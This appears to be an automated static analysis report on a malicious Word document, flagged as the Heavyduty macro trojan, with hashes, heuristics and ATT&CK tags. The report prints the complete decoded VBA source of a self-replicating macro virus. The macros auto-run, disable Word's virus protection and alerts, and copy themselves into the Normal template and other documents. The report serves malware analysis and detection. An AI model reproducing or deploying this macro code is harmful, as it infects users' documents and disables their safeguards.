Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f85ddd067ed2cde…

MALICIOUS

Office (OLE)

34.5 KB Created: 2003-08-15 18:35:00 Authoring application: Microsoft Word 10.0 First seen: 2015-09-24
MD5: 136e79116b6060de4f65bdbda89dbba0 SHA-1: ef36a76bd714e232a0b3195ad39adf99caac04e0 SHA-256: 4f85ddd067ed2cded19399700e6654a83aef16543deb2ff2db9211461b2b1f81
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, indicated by multiple OLE_VBA_MACROS and OLE_LEGACY_WORDBASIC_AUTOEXEC heuristics. The presence of AUTOOPEN, AUTOCLOSE, and DOCUMENT_OPEN subroutines suggests the macro executes automatically when the document is opened or closed. The script attempts to obfuscate its functionality using XOR encryption and string manipulation, but the overall intent appears to be the execution of a malicious payload, consistent with a phishing attachment.

Heuristics 6

  • ClamAV: Doc.Trojan.Heavyduty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Heavyduty-1
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    AUTOOPEN(): _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    DOCUMENT_OPEN(): _
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    AUTOCLOSE(): _

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5918 bytes
SHA-256: 7c3a2d0eff7804ff9210710f1cad9ddf28c8f8495bccd45563a5924d8356671c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private _
Sub _
AUTOOPEN(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOCLOSE(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOEXEC(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTOEXIT(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
AUTONEW(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_OPEN(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_CLOSE(): _
Call _
VLAM: _
End _
Sub
Private _
Sub _
DOCUMENT_NEW(): _
Call _
VLAM: _
End _
Sub
Private _
Function _
T(STR)
For _
I _
= _
Asc(Mid(UCase(UCase(UCase(UCase("KKKK")))), _
Int(Rnd _
* _
3) _
+ _
Fix(Fix(Fix(1))), _
Int(1))) - _
74 _
To _
Len(STR)
P _
= _
P _
& _
Chr(Asc(Mid(STR, _
I, _
Fix(Fix(Fix(1))))) _
Xor _
Int(Int(Int(Int(Int(3))))))
Next
T _
= _
P
End _
Function
Private _
Sub _
VLAM()
On _
Error _
Resume _
Next
Set _
APP _
= _
Application.Options.Application.Options.Application
Set _
OPT _
= _
Options.Application.Options.Application.Options
Set _
ST1 _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.VirusProtection
Set _
ST2 _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SaveNormalPrompt
Set _
ST3 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayAlerts
Set _
ST4 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.EnableCancelKey
Set _
ST5 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.DisplayStatusBar
Set _
ST6 _
= _
OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.ShowVisualBasicEditor
Set _
SMA _
= _
APP.OPT.APP.OPT.APP.OPT.APP.OPT.APP.OPT.SendMailAttach
Set _
N _
= _
NormalTemplate
Set _
NV _
= _
N.VBProject
Set _
NVV _
= _
NV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
NVVC _
= _
NVV.CODEMODULE
Set _
a _
= _
ActiveDocument
Set _
AV _
= _
a.VBProject
Set _
AVV _
= _
AV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
AVVC _
= _
AVV.CODEMODULE
Set _
d _
= _
ThisDocument
Set _
DV _
= _
d.VBProject
Set _
DVV _
= _
DV.VBCOMPONENTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
DVVC _
= _
DVV.CODEMODULE
Set _
NORN _
= _
NVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
Set _
DOCN _
= _
AVV.VBE.VBPROJECTS(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) - _
Int(Int(Int(Int(Int(74))))))
SMA _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(74)))))
MYCODE _
= _
UCase(UCase(UCase(UCase(DVVC.LINES((Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Rnd _
* _
3) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(74)))))), _
400)))))
NAAM _
= _
UCase(UCase(UCase("HEAVYDUTY")))
ST1 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
ST2 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
ST3 _
= _
wdAlertsNone
ST4 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
ST5 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
ST6 _
= _
Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ _
Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- Int(Int(Int(Int(Int(75)))))
Select _
Case _
UCase(UCase(UCase(UCase(UCase(UCase(ThisDocument.Name))))))
Case _
UCase(UCase(UCase(UCase(UCase(UCase(UCase(T("MLQNBO-GLW"))))))))
 _
 _
 _
 _
AVVC.DELETELINES _
(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- _
Int(Int(Int(Int(Int(74)))))), _
AVVC.COUNTOFLINES
 _
 _
 _
 _
AVVC.ADDFROMSTRING _
UCase(MYCODE)
 _
 _
 _
 _
DOCN.Name _
= _
UCase(UCase(UCase(NAAM)))
 _
 _
 _
 _
ActiveDocument.Save
Case _
Is _
<> _
UCase(UCase(UCase(UCase(UCase(UCase(T("MLQNBO-GLW")))))))
 _
 _
 _
 _
NVVC.DELETELINES _
(Asc(Mid(UCase(UCase(UCase(T("HHHH")))), _
Int(Int(Int(Int(Rnd _
* _
3)))) _
+ Fix(Fix(Fix(1))), _
Fix(Fix(Fix(1))))) _
- _
Int(Int(Int(Int(Int(74)))))), _
NVVC.COUNTOFLINES
 _
 _
 _
 _
NVVC.ADDFROMSTRING _
UCase(MYCODE)
 _
 _
 _
 _
NORN.Name _
= _
UCase(UCase(UCase(NAAM)))
 _
 _
 _
 _
N.Save
End _
Select
If _
Day(Now()) _
= _
Int(Rnd _
* _
31) _
+ _
1 _
Then
Application.Caption _
= _
NAAM _
& _
Space(1) _
& _
ActiveDocument.Name
End _
If
'WM97.HEAVYDUTY
End _
Sub

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